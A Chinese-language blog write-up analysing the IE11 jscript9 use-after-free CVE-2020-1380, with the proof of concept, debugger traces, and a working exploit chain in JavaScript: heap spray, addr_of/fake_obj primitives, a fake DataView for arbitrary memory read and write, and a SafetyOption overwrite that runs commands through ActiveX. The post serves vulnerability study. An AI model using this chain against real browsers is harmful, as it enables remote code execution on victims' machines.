长亭百川云 - 文章详情

ie CVE-2020-1380 UAF 漏洞分析及利用

f undefined

69

2024-07-13

ie的版本是11.103.10586.0,在https://msdn.itellyou.cn/上下的系统是`Windows 10 (Multiple Editions), Version 1511 (Updated Feb 2016) (x86) - DVD (English) ,对应的windows版本为Version 1511(OS Build 10586.104),该系统安装后的版本即为此次分析的ie浏览器版本,漏洞分析是在x86`系统上进行的。

version

基础知识--custom heap 堆

ie 9之后的jscript9引擎中,为了阻止OOB漏洞的利用,ie把一些重点对象单独拿出来放到一个堆中来进行管理,而不是直使用进程堆。因此在jscript9中,堆数据可以分为两部分:

  • 一部分是进程堆(Process HeapCRT Heap)。

  • 一部分是自定义堆(Custom Heap),普通的Array对象、typed arrayview)对象、string对象都是分配在custom Heap里的。

一个有意思的点是var fa = new Float32Array(8)的代码,typed array对象的数据结构会保存在custom heap当中,然而它的fa.buffer(ArrayBuffer)的数据却是从进程堆中申请出来的。下面是JavascriptArrayBuffer::Create的反汇编代码,可以看到ArrayBuffer的堆分配函数是CRT函数malloc

struct Js::JavascriptArrayBuffer *__fastcall Js::JavascriptArrayBuffer::Create(  
        unsigned int a1,  
        struct Js::DynamicType *a2)  
{  
  ...  
  Js::ArrayBuffer::ArrayBuffer(v5, a1, a2, _malloc);  
  *(_DWORD *)v5 = &Js::JavascriptArrayBuffer::`vftable';  
  return v5;  
}  

还需要知道一点的是当在自定义堆中申请大的对象时,自定义堆的数据管理结构是LargeHeapBlock,该对象构成了ie自定义堆的基础,存储有自定义堆上分配的大型堆空间的管理信息。LargeHeapBlock对象存储在进程堆中的。

LargeHeapBlock的数据结构如下所示,偏移量0x4处的指针指向IE自定义堆中的数据,对于通过创建多个大的Array对象来触发LargeHeapBlock对象分配的情况,该指针直接指向了此时分配的一个Array对象。0x14指向的是Allocated Block Count,即当前已经分配的Block,如果该字段被置为0,则该对象所指向的自定义堆会在垃圾回收的过程中被释放。

LargeHeapBlock_struct

漏洞分析

CVE-2020-1380IE11jscript9引擎的一个UAF漏洞,其成因是Array.prototype.push的副作用导致JIT引擎数据类型推导错误。

趋势科技给出的poc代码如下:

var ab = new ArrayBuffer(0x8c);  
var fa = new Float32Array(ab);  
   
var obj = {};  
obj.valueOf = function() {  
    worker = new Worker('worker.js');  
    worker.postMessage(ab, [ab]);  
    worker.terminate();  
    worker = null;  
   
    var start = Date.now();  
    while (Date.now() - start < 200) {}  
   
    return 0  
};  
   
function opt(a, b, c, d) {  
    a = 1;  
    arguments.push = Array.prototype.push;  
    arguments.length = 0;  
    arguments.push(d);  
   
    if (c) {  
        a = 2;  
    }  
   
    b[0] = a;  
};  
   
for (var i = 0; i < 0x100000; i++) {  
    opt(1, fa, 1, 1);  
}  
   
opt(1, fa, 0, obj);  

先开启页堆hpapoc跑一遍,看看出啥问题。

"C:\Program Files\Windows Kits\10\Debuggers\x86\gflags.exe" -i iexplore.exe +hpa  

崩溃现场如下。ftsp是将浮点寄存器st0中的值存储到对应内存中的意思,崩溃现场即是将0.0存储到地址11d81f70 中。

This exception may be expected and handled.  
eax=11d81f70 ebx=1197d480 ecx=00000000 edx=00000116 esi=0de3bad0 edi=1ff61e00  
eip=5d046083 esp=07cbc844 ebp=07cbc844 iopl=0         nv up ei pl zr na pe cy  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010247  
jscript9!Js::JavascriptConversion::ToFloat_Helper+0x13:  
5d046083 d918            fstp    dword ptr [eax]      ds:0023:11d81f70=????????  
0:008> r st0  
st0= 0.00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e+0000 (0:0000:0000000000000000)  

崩溃的成因是opt函数经过优化编译过后,b[0]=a所对应的代码会认为a一直都是浮点数,不会有side effect,因此直接调用ToFloat_Helpera转化成浮点数并赋值给b[0]。但是实际上在前面的代码中arguments.push会改变对象arguments[0](即对象a的类型),导致在b[0]=a赋值的时候可以触发回调函数。但是此时代码中缺少了对a的类型的检查,导致漏洞的形成。

poc中,触发漏洞时对象a的回调函数是调用postMessageArrayBuffer传递给workerpostMessage将数据传递给worker的同时,本线程就会失去对当前ArrayBuffer的所属,该ArrayBuffer就会被释放,但是后续在opt函数中b[0]=a,仍然将对象a返回值的0.0赋值给b[0],导致形成UAF漏洞。此处也是因为我们开启了页堆,所以将0.0当写入到已释放的内存ArrayBuffer 0x11d81f70的时候就报错了。

漏洞分析部分本应还包含代码层面的分析的,但是苦于对js9架构机制不太熟,所以只能从原理层面对漏洞成因进行分析,后续有能力再从代码层面进一步分析。

漏洞利用

上面的漏洞我们得到了一个UAF漏洞,即在回调函数中我们释放掉了ArrayBuffer数据内存,同时后续在优化编译函数中仍然可以对该内存进行读写操作。

首先要搞清楚的是我们使用什么来占用被释放掉的ArrayBuffer数据内存。在前面的基础知识中已经阐述过,ArrayBuffer数据内存是由进程堆分配的,LargeHeapBlock数据结构也是由进程堆分配的,因此如果我们利用漏洞释放掉ArrayBuffer数据内存后,再利用LargeHeapBlock占用该内存,后续再对ArrayBuffer数据进行读写的时候,实质上就是对LargeHeapBlock数据结构进行读写。

这里要搞清楚的是LargeHeapBlock数据结构大小是多少,很多文章都说该数据结构大小是根据申请的内存大小动态变化的,当申请new Array((0x1000 - 0x20) / 4)0x1000大小的Array的时候,LargeHeapBlock对应为new ArrayBuffer(0x8c)所对应的内存,具体可以动态调试下断点来进一步确认,断点如所示:

bp jscript9!LargeHeapBucket::AddLargeHeapBlock+0x92  

所对应的代码如下所示,LargeHeapBlock::New的返回值即是LargeHeapBlock堆块。

struct LargeHeapBlock *__thiscall LargeHeapBucket::AddLargeHeapBlock(LargeHeapBucket *this, unsigned int a2)  
{  
   ...  
    lpAddress = PageAllocator::Alloc((PageAllocator *)(v4 + 8), &v13, &v12);  
    if ( lpAddress )  
    {  
      v6 = LargeHeapBlock::New(  
             (char *)v12,  
             (((v13 << 12) - a2 - 16) >> 10) + 1,  
             *((_BYTE *)this + 28) != 0 ? this : 0,  
             v9,  
             v10);  

此时问题就变成了对LargeHeapBlock数据结构进行读写,对何处进行读写能够继续进一步的利用。答案是覆盖LargeHeapBlock0x14偏移的Allocated Block Count字段,将它覆盖为0,这样后续如果触发垃圾回收机制,该LargeHeapBlock结构所管理的堆内存会被认为是被释放的,后面就会被继续申请与利用,从而就可以形成重叠堆快。

上述思路所形成的代码如下所示。opt函数中b[5] = a时会触发objvalueOf函数,该函数首先会释放absleep一段时间等待堆内存被释放,然后堆喷LargeHeapBlock结构去申请大内存重新占有该ab内存,因为valueOf函数会返回0,最终会执行b[5] = 0,此时ab已经被覆盖为LargeHeapBlock结构,因此会将LargeHeapBlock结构的Allocated Block Count修改为0

var ARRAY_LENGTH = 0x500  
var b = new Array(ARRAY_LENGTH);  
var c = new Array(ARRAY_LENGTH);   
var obj = {};  
obj.valueOf = function() {  
    // free the Float32Array ArrayBuffer  
    worker = new Worker('worker.js');  
    worker.postMessage(ab, [ab]);  
    worker.terminate();  
    worker = null;  
   
    // sleep to wait system free the ArrayBuffer  
    var start = Date.now();  
    while (Date.now() - start < 300) {}  
      
    // spray LargeHeapBlock structure to occupy the freed ArrayBuffer  
    for (var i = 0; i < ARRAY_LENGTH; ++i) {  
        b[i] = new Array((0x1000 - 0x20) / 4);  
        for (var j = 0; j < b[i].length; ++j)  
            b[i][j] = 0x666;  
    }  
   
    return 0;  
};  
  
function opt(a, b, c, d) {  
    a = 1;  
    arguments.push = Array.prototype.push;  
    arguments.length = 0;  
    arguments.push(d);  
   
    if (c) {  
        a = 2;  
    }  
   
    // now the Float32Array ArrayBuffer is the same as LargeHeapBlock structure, overwrite b[5] will change the LargeHeapBlock's Allocated Block Count to 0  
    b[5] = a;  
};  

后续调用CollectGarbage手动触发垃圾回收,此时会认为被修改的LargeHeapBlock结构所对应数组b中的某个数组内存是被释放了的。此时再申请大内存,系统会再次分配该内存,此时数组b和数组c就有某个数组就会形成重叠堆块,遍历两个数组,找到重叠的对象内存。

// gc to manual free the LargeHeapBlock memory.  
CollectGarbage();  
  
var index1 = -1;  
var index2 = -1;  
// spray malloc LargeHeapBlock heap again, it will occupy the same memory with b array  
for (var i = 0; i < ARRAY_LENGTH; ++i) {  
    c[i] = new Array((0x1000 - 0x20) / 4);  
    for (var j = 0; j < c[i].length; ++j)  
        c[i][j] = 0x888;  
}  
  
// find the overlap heap in array b  
for (var i = 0; i < b.length; i += 1) {  
    if (b[i][0] == 0x888) {  
        index1 = i;  
        b[i][0] = 0x666;  
        break;  
    }  
}  
   
// find the overlap heap in array c  
for (var i = 0; i < c.length; i += 1) {  
    if (c[i][0] == 0x666) {  
        index2 = i;  
        break;  
    }  
}  

找到重叠的对象后,将其中某个数组修改为对象数组,这样就形成整数数组与对象数组指向同一片内存,很简单的就得到了addr_of以及fake_obj原语:

// transition the array type   
c[index2][0] = {};  
  
// now we can get addr_of and fake_obj primitive  
var int_arr = b[index1];  
var obj_arr = c[index2];  
   
function addr_of(obj) {  
    obj_arr[0] = obj;  
    return int_arr[0];  
}  
  
function fake_obj(addr) {  
    int_arr[0] = addr;  
    return obj_arr[0];  
}  

有了addr_of以及fake_obj原语,接着就是构造aar以及aaw原语,原语的构造方法是伪造DataView结构体,通过修改DataView的内存指针来实现任意地址读写,详细过程可以参考Edge Type Confusion利用:从type confused到内存读写。

DataView对应的32位结构体如下所示,其中偏移为0x1c的是我们要填写任意地址读写的字段。

DataView:  
+0x0  : vtable;  
+0x4  : TypeObject;  
+0x8  : 0;  
+0xc  : 0;  
+0x10 : JavascriptArrayBuffer;  
+0x14 : 0;  
+0x18 : size;  
+0x1c : Buffer;  

还需要关注的三个字段是vtableTypeObject以及JavascriptArrayBuffer字段。

当我们利用伪造的fake_dv进行任意地址读写的时候,它会调用vtable中的虚函数,由于我们不知道虚函数表的地址,因此需要方法来绕过。方法是不直接用fake_dv.getUint32这样的形式来进行调用,而是用DataView.prototype.getUint32.call(fake_dv, 0, true)的形式来调用,这样就不需要从fake_dv对象的vtable字段来获取函数地址。

第二个要关注的字段是TypeObject指针,它里面的typeId要合理有效,JavascriptLibrary地址要为有效的内存地址。

TypeObject:  
+0x0  : typeId;  
+0x4  : JavascriptLibrary;  
+0x8  : prototype;  
+0xc  : Js::RecyclableObject::DefaultEntryPoint;  
+0x10 : 0;  
+0x14 : 0;  
+0x18 : SimplePathTypeHandler;  
+0x1c : value;  

第三个要关注的字段是JavascriptArrayBuffer,它所指向的内存地址某位是用来标记是否是isDetached。如果被置位,说明内存已被释放不能再使用,所以要将该字段置0

最终构造fake_dv代码如下。

// fake DataView struct container  
var container = new Array(  
    0,     // field 0: fake vtable  
    0,      // field 1: TypeObject pointer  
    0,      // field 2: Inherited data from Dynamic Object  
    0,      // field 3: Inherited data from Dynamic Object  
    0,      // field 4: buffer size  
    0,      // field 5: ArrayBuffer Object pointer  
    0,      // field 6: byteoffset  
    0       // field 7: target addr  
)  
  
var container_addr = addr_of(container);  
var fake_dv_addr = container_addr + 0x38;  
container[0] = 46                   // fake vtable, also used as TypeId in TypeObject Pointer  
container[1] = fake_dv_addr;        // fake TypeObject Pointer point to fake_dv_addr, also as fake TypeObject JavascriptLibrary pointer  
container[2] = 0;                   // the isDetached bit should be 0  
container[4] = fake_dv_addr + 8;    // fake ArrayBuffer Object pointer, the isDetached bit should be 0  
container[6] = 0x300;               // fake size  
container[7] = fake_dv_addr;        // arbitrary pointer  
  
// build fake DataView, now we can aar and aaw with this fake_dv  
var fake_dv = fake_obj(fake_dv_addr);  

有了fake_dv以后,aar以及aaw就很简单了,修改DataViewBuffer字段即可。

// aar primitive  
function read32(addr) {  
    container[7] = addr;  
    var val = DataView.prototype.getUint32.call(fake_dv, 0, true);  
    return val;  
}  
  
function read8(addr) {  
    container[7] = addr;  
    var val = DataView.prototype.getUint8.call(fake_dv, 0, true);  
    return val;  
}  
  
function read16(addr) {  
    container[7] = addr;  
    var val = DataView.prototype.getUint16.call(fake_dv, 0, true);  
    return val;  
}  
  
// aaw primitive  
function write8(addr, val) {  
    container[7] = addr;  
    DataView.prototype.setUint8.call(fake_dv, 0, val, true);  
}  
  
function write32(addr, val) {  
    container[7] = addr;  
    DataView.prototype.setUint32.call(fake_dv, 0, val, true);  
}  
  
function write_string(addr, s) {  
    var bytes = [];  
    var i = 0;  
    for ( ; i < s.length; ++ i ) {  
        bytes[i] = s.charCodeAt(i);  
    }  
  
    bytes[i] = 0;  
  
    write_bytes( addr, bytes );  
}  
  
function write_bytes(addr, bytes) {  
    for ( var i = 0; i + 3 < bytes.length; i += 4 ) {  
        var value = (bytes[i] & 0xff) | ((bytes[i+1] & 0xff) << 8) |  
                    ((bytes[i + 2] & 0xff) << 16) | ((bytes[i + 3] & 0xff) << 24);  
                              
        write32( addr + i, value );  
    }  
              
    for ( ; i < bytes.length; ++ i ) {  
        write8( addr + i, bytes[i] );  
    }  
}  

有了任意地址读写原语,最后就是任意代码执行,根据[原创]IE JScript9.dll UAF漏洞(CVE-2020-1380)利用复现笔记,目前ieaar以及aaw到任意代码执行主要有三种方式:

  1. GodMode:利用任意地址读写原语修改内存中的GodMode字段,即可使用ActiveX调用任意代码与程序。

  2. 虚表劫持:劫持Js::JavascriptOperators::HasItem函数内的一处虚表调用为WinExec来调用任意代码。

  3. 覆盖栈上返回地址:覆盖Js::JavascriptString::EntrySplitJs::JavascriptString::EntrySlice函数的返回地址以劫持程序执行流。

我这里只用了第一种方式,因此解释下第一种方式的利用原理,其余两种后续漏洞分析有机会再分析。

ie中,决定不安全的ActiveX控件能否在没有提示的情况下运行仅仅依赖于单个标志,即ScriptEngine对象中的SafetyOption标志,如果通过任意地址读写将此标志置为0,那么就能开启实例化和运行不安全ActiveX控件的能力。详细原理可以查看Exploit IE Using Scriptable ActiveX Controls.pdf

在Internet Explorer 11中微软通过引入一个0x20字节的hash来保护SafetyOption标志不被覆盖,以此缓解该技术的利用。但是通过查看Windows 10当前jscript9.dll版本中的ScriptEngine::CanCreateObject以及ScriptEngine::CanObjectRun函数发现负责保护hashScriptEngine::GetSafetyOptions函数已经不见了,因此SafetyOption标志将不再受到保护,写入单个空字节就能实现利用的技术又可行了。

CanObjectRun

最终执行calc的代码如下所示:

// leak address  
// get dataview vtable  
var dv_vtable_addr = read32(addr_of(dv))  
// get jscript9 module base  
var jscript9_base_addr = get_module_base(dv_vtable_addr);  
alert("[+] jscript9 base addr: "+hex(jscript9_base_addr));  
// get kernel32 module base  
var kernel32_base_addr = get_module_base_from_IAT(jscript9_base_addr, "KERNEL32");  
alert("[+] kernel32 base addr: "+hex(kernel32_base_addr));  
// get winexec addr  
// var winexec_addr = get_proc_address( kernel32_base_addr, 'WinExec' );  
// alert("[+] winexec func addr: "+hex(winexec_addr));  
  
function run_shellcode() {  
    var shell = new ActiveXObject("WScript.shell");  
    shell.Exec("calc.exe");  
    // shell.Exec("notepad.exe");  
}  
  
// change the safe_mode flag  
var leak_activex_addr = addr_of(ActiveXObject);  
var script_engine = read32(read32(leak_activex_addr + 0x1c) + 0x04);  
var safe_mode = script_engine + 0x1F4;   
// turn on god mode  
write32(safe_mode, 0);  
  
run_shellcode();  

弹出计算器。

calc

当然,权限是AppContainer,后面还要过沙箱。

privilege

总结

这个漏洞是2020年抓到的一个在野利用的0 day,通过分析它进一步掌握了ie漏洞的利用方法,同时这个漏洞目前在野外利用还是不少。

64位系统中的利用大同小异,结构体指针字段加长罢了。

References

[1] 趋势科技: https://www.trendmicro.com/en\_us/research/20/h/cve-2020-1380-analysis-of-recently-fixed-ie-zero-day.html
[2] Edge Type Confusion利用:从type confused到内存读写: https://www.anquanke.com/post/id/98774
[3] [原创]IE JScript9.dll UAF漏洞(CVE-2020-1380)利用复现笔记: https://bbs.pediy.com/thread-263885.htm
[4] Exploit IE Using Scriptable ActiveX Controls.pdf: https://github.com/jvazquez-r7/explib2/blob/modify/Exploit%20IE%20Using%20Scriptable%20ActiveX%20Controls.pdf
[5] CVE-2020-1380: Analysis of Recently Fixed IE Zero-Day: https://www.trendmicro.com/en\_us/research/20/h/cve-2020-1380-analysis-of-recently-fixed-ie-zero-day.html
[6] Internet Explorer and Windows zero-day exploits used in Operation PowerFall: https://securelist.com/ie-and-windows-zero-day-operation-powerfall/97976/
[7] CVE-2020-1380: Internet Explorer JScript9 Use-after-Free: https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2020/CVE-2020-1380.html
[8] [原创]IE JScript9.dll UAF漏洞(CVE-2020-1380)利用复现笔记: https://bbs.pediy.com/thread-263885.htm
[9] IE浏览器0day漏洞CVE-2020-1380的分析、利用和检测: https://www.freebuf.com/vuls/283182.html
[10] Edge Type Confusion利用:从type confused到内存读写: https://www.anquanke.com/post/id/98774
[11] Exploit IE Using Scriptable ActiveX Controls.pdf: https://github.com/jvazquez-r7/explib2/blob/modify/Exploit%20IE%20Using%20Scriptable%20ActiveX%20Controls.pdf

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2